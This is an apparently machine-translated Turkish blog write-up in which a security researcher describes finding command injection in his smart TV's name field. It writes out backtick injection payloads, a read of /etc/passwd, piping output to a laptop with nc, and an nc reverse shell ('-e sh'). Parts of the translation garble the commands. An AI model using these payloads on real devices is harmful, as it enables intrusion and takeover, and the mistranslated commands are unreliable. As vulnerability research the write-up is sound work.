Uzun bir günün ardından televizyon izleyen tembel akşamlardan biriydi. Yoruldum, ancak daha önce birinin bana verdiği bir yönlendiricide bulduğum bir güvenlik açığını düşünmeye devam ettim. Böyle bir cihazda bir kusur bulmak her zaman oldukça eğlencelidir, çünkü geliştiriciler ve belki de şirketin teknik destek ekibi hariç, kullanıcılar tarafından görülmesi gerekmeyen şeyleri sıklıkla görürsünüz.

Çok yorgun olduğum için, televizyonda uyku zamanlayıcısını ayarlamak ve uzanmak istedim. Ancak zamanlayıcıyı ayarlarken diğer olası menü işlevlerini ve yalnızca destek ekibi veya geliştiriciler için tasarlanmış herhangi bir gizli özellik olduğunu merak ettim. Cep telefonumda hızlı bir Google aramasından sonra, bu televizyon markasının gizli bir menü açan bir kod olduğunu öğrendim.

Bu parça aslında yayınlanan Netsparker, Samsung, Verisign ve NASA gibi şirketler tarafından kullanılan bir web sitesi güvenlik açığı tarayıcısının geliştiricisi.

Ayarları açıp uzaktan kumandamdaki kodu yazdıktan sonra, ekranın sol tarafında başka bir menü belirdi. Gösterdiği kategorilerin neredeyse tamamı erişilebilir değildi. Yalnızca “Otel Modu” nu etkinleştirebilir ve setin sürüm numarasını görüntüleyebilirim.

Televizyon hakkında daha fazla bilgi edinmek istedim. Ayarlar içerisinde “bilgi” adı verilen bir kategori vardı. Açtım ve sadece birkaç sürüm numarası daha gördüm. Sonra başka bir şey dikkatimi çekti; Aslında televizyonuma bir isim verebilirim.

Akıllı Televizyon setimdeki güvenlik açığı




Bilgi Güvenliği'nde çalışırken, karşılaştığınız diğer girdi alanlarında günlük olarak kullandığınız bazı yükleri test etmek için yardım edemezsiniz. Yönlendiricinizin web arayüzünde, yeni yazıcınızın kontrol panelinde veya benim durumumda bir TV'de bir GET parametresi olabilir. Bu yüzden televizyonumu “televizyon` `uyku 5” 'olarak yeniden adlandırmanın eğlenceli olacağını düşündüm.

Uzaktan kumandasımdan yükü girdikten ve gönderdikten sonra, ayarlar menüsü uzun süre donmuştu. Tekrar yanıt verdiğinde, diğer menü girişlerini seçebilmem için adı değiştirdim. Gerçekten bir komut enjeksiyonu ya da benzeri bir şey bulduğumu düşünmemiştim. Değişiklikler yapılmadan önce televizyonumun birkaç saniye beklemesi tuhaf değil, ancak şimdi yanıt vermem daha uzun sürdüğü için beni meraklandırdı.




Zaman beş saniyeden daha uzun olduğu için girişimle eşleşmedi. Enjekte ettiğim backtick karakterlerle bir ilgisi olabileceğini düşündüm. Belki TV onları beklemiyordu ve yüklenmesini engelleyen bir hata attı. “Televizyon` 0 uyku ”yazdım ve tekrar denedim. Anında yüklendi.

Kesinlikle olan bir şey var, ama ne ve nasıl olduğundan emin değildi. Ben de zamanı ölçmeye karar verdim. Televizyonun, aşağıda gösterildiği gibi, yanıt vermek için her zaman giriş numarasından üç kat daha uzun sürdüğü ortaya çıktı:

  • uyku (2) - 6 saniye
  • uyku (3) - 9 saniye
  • uyku (5) - 15 saniye

Smart TV'imde Komutları Çalıştırma

İnanamadım. Denediğim ilk girdi alanında aslında bir komut enjeksiyonu vardı. Menü dondurmak nihai bir kanıt değildi ve sömürü açısından çok yararlı değildi. Sadece 31 karakterim olduğu için, iki backtick eksi, yüküm sadece 29 karakterden oluşuyordu.

Aşağıda, TV'de çalıştırmaya çalıştığım komutların bir listesi, bunların ne olduğuna dair bir açıklama ve başarılı olup olmadıklarına dair bir onay da dahil.

komuta

açıklama

karakter /

başarılı

`nc && uyku 2`

hangi varolan bir programın yolunu döndüren bir linux komutudur.

&& uyku 2 menüyü 3 * 2 saniye dondurursa hangi fonksiyon
bulundu nc TV setinde.

19

Evet

`ssh && uyku 2`

Ssh'ın kurulu olup olmadığını görmek istedim.

20

No

`` hangi uyu ve uyu 2`

Ama uyandı

21

Evet

`kedi / vb / passwd && uyku 2`

/ Etc / passwd okunabilir olup olmadığını görmek istedim. Öyleydi ve olurdu
olmasaydı büyük bir sürpriz oldu

26

Evet

`kedi / vb / gölge ve uyku 2`

Bu ilginç. Kök ayrıcalıklarına sahip olduğunuzda / etc / shadow
dosya okunabilir. Kök olup olmadığımı test etmek istedim ancak dosya okunamıyor.

26

No

`ls / etc / shadow && sleep 2`

Bu, gölge dosyasının neden açılamadığının açıklamasıdır. Bu sadece
yoktu.

25

No

Gerçekten geç oldu bu yüzden uyumaya gidip ertesi gün bir kabuk almaya karar verdim. Uyandıktan sonra en zor kısmı takip etti: dizüstü bilgisayar ve bir ethernet kablosu almak için yataktan kalkmak. Şimdiye kadar hiçbir yere gitmeme bile gerek yoktu ve sadece uzaktan kumanda kullanarak televizyonumda sistem komutlarını çalıştırabildiğimi oldukça komik buldum.

Smart TV'de kabuk erişimine sahip olma

TV'm duvara monte edilmiştir, bu nedenle bir kabloyu takmak hayal edebileceğiniz kadar kolay değildir. Yerinden çıkmış bir omuz ve TV'ye yönelik çeşitli tehditlerden sonra kabloyu taktım. Dizüstü bilgisayara bağladım ve dizüstü bilgisayarın IP'sini ipconfig.

Böylece dizüstü bilgisayarımın IP adresini bildiğime göre, dizüstü bilgisayarım için yalnızca ters bir kabuk almak zorunda kaldım. Bu yüzden televizyonun IP adresini bilmeme gerek yoktu. Ayrıca ters kabuk kullanışlıdır, çünkü gelen bağlantıları engelleyen olası güvenlik duvarı kurallarını atlar. Ancak 29 karakterden daha azını nasıl elde edeceğinizi düşünmeden önce sistem hakkında biraz daha fazla şey öğrenmek istedim.

Akıllı TV'de Netcat kullanma

Olduğunu öğrendim nc TV setine yükledim, bu yüzden bazı komutların çıkışını nc aracılığıyla dizüstü bilgisayarıma aktarmaya karar verdim. Denediğim ilk şey tabii ki idBu da bana Smart TV setinde kök ayrıcalıklarına sahip olup olmadığımı söylerdi.

Yukarıda görüldüğü gibi kök ayrıcalıklarına sahiptim. Bu çok şaşırtıcı değildi, ama yine de görmek güzeldi. Yaptığım bir sonraki şey / ile bir dizin listesi almaktı `ls -la / | nc 169.254.56.216 5`

Mükemmel. Ama hala uygun komutları verecek bir kabuğum yoktu. Hepsi az çok kısıtlanmıştı ve çok kullanışlı değildi. Ancak, sürümünden beri nc TV'de yüklü olan -e bayrağına aşağıdaki gibi ters bir kabuk almak kolaydı: `nc 169.254.213.210 5 -e sh`

Smart TV'de kabuk erişimim vardı

Mükemmel. Şimdi çalışmak için uygun bir kabuğum vardı. Özellikle TV ile görünür bir şekilde uğraşmakla ilgileniyordum. Önyükleme işlemi sırasında gösterilen logoyu değiştirmek veya uygulama simgelerini değiştirmek gibi birçok olasılık vardı. Bu akıllı bir TV olduğundan, Youtube ve Skype gibi önceden yüklenmiş bazı uygulamalara sahiptir.

 

Dosya sisteminin çoğunun salt okunur olduğunu fark ettim, bu yüzden sadece logoları değiştiremedim. Ancak sık sık değişen resimler vardı, yani farklı TV kanalları arasında zapping yaparken görebileceğiniz kanal önizleme kutuları. Kanalı ziyaret ettiğinizde çalışan programların anlık görüntülerini içeriyordu. Açıkçası bunların dosyaları okuyabileceğiniz ve yazabileceğiniz bir yere kaydedilmesi gerekiyordu.

Simge görüntülerinin .png dosyaları olduğunu fark ettim. Komutu kullanarak .png uzantılı tüm dosyaları listeledim find / -name * .png ancak önizleme dosyaları orada değildi. Ancak aynı aramayı denedim ama bu sefer .jpg dosyaları için ve channelImage123.jpg gibi bazı dosyaları fark ettim. Göstermek istediğim dosyaları yükledikten ve karşılık gelen channelImage dosyalarını değiştirdikten sonra sonuç buydu.

TV'niz düşündüğünüz kadar akıllı değil

İnternete bağlı cihazların en tuhaf yerlerde, daha az beklediğiniz yerlerde güvenlik açıkları olabilir. Uyku komutunu test ettiğimde, bunun işe yarayacağını bile düşünmedim, sadece sıkıntıdan yaptım. Televizyonumun linux üzerinde çalıştığı hakkında hiçbir fikrim yoktu ve güvenlik açıklarımın sömürülebilir olduğunu görünce çok şaşırdım.

Bu güvenlik açığı uzaktan istismar edilmez, ancak televizyonumu internete bağlamama ve akıllı özelliklerini kullanma hakkım olduğuna ikna etti. Birisinin televizyonum üzerinde kontrol sahibi olabileceği düşüncesinden gerçekten rahat değilim.

Televizyon setinde kullanabileceğim daha havalı şeyler ve daha fazla güvenlik açığı olduğunu düşünüyorum. Ancak cihaz donduğunda aldığım kalp ağrılarına değmez ve tuğla olup olmadığını görmek için bir dakika beklemek zorundayım. Çünkü sonuçta televizyon izlemek, dinlenmek ve kan basıncınızı yükseltmemek için, futbol izlemeyi seviyorsanız.